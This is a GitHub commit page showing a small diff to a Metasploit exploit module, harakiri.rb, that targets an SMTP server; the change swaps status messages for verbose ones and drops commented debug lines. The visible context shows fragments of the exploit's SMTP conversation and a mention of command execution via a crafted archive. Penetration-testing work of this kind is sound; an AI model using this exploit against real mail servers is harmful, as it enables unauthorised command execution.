Skip to content

Commit ebde165

Browse files
authored
harakiri.rb vprint_status and debug info removed
harakiri.rb vprint_status and debug info removed
1 parent c6dfdd2 commit ebde165

File tree

1 file changed

+4
-10
lines changed

1 file changed

+4
-10
lines changed

modules/exploits/linux/smtp/harakiri.rb

Lines changed: 4 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -154,7 +154,7 @@ def exploit
154154

155155
ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")
156156
ehlo_resp.each_line do |line|
157-
print_status("#{rhost}:#{rport} - EHLO: #{line.strip}")
157+
vprint_status("#{rhost}:#{rport} - EHLO: #{line.strip}")
158158
end
159159

160160
resp = raw_send_recv("MAIL FROM: #{from}\r\n")
@@ -163,7 +163,7 @@ def exploit
163163
if not resp or resp[0,3] != '250'
164164
fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{msg}")
165165
else
166-
print_status("#{rhost}:#{rport} - #{msg}")
166+
vprint_status("#{rhost}:#{rport} - #{msg}")
167167
end
168168

169169
# connected lets start mailing
@@ -173,7 +173,7 @@ def exploit
173173
if not resp or resp[0,3] != '250'
174174
fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{msg}")
175175
else
176-
print_status("#{rhost}:#{rport} - #{msg}")
176+
vprint_status("#{rhost}:#{rport} - #{msg}")
177177
end
178178

179179
resp = raw_send_recv("DATA\r\n")
@@ -182,7 +182,7 @@ def exploit
182182
if not resp or resp[0,3] != '354'
183183
fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{msg}")
184184
else
185-
print_status("#{rhost}:#{rport} - #{msg}")
185+
vprint_status("#{rhost}:#{rport} - #{msg}")
186186
end
187187

188188
stringib = Zip::OutputStream.write_buffer do |zib|
@@ -217,12 +217,6 @@ def exploit
217217
message << "--===============1434375302937503704==--\r\n"
218218
message << ".\r\n"
219219
resp = raw_send_recv(message)
220-
#msg = "DELIVER: #{resp}"
221-
#if resp[0,3] == '450'
222-
# print_status("SUCCES! #{rhost}:#{rport} - Failing to extract archive, if bsdtar was available command is run!")
223-
#else
224-
# print_status("#{rhost}:#{rport} - #{msg}\n")
225-
#end
226220
resp = raw_send_recv("rset\r\n")
227221
disconnect
228222

0 commit comments

Comments
 (0)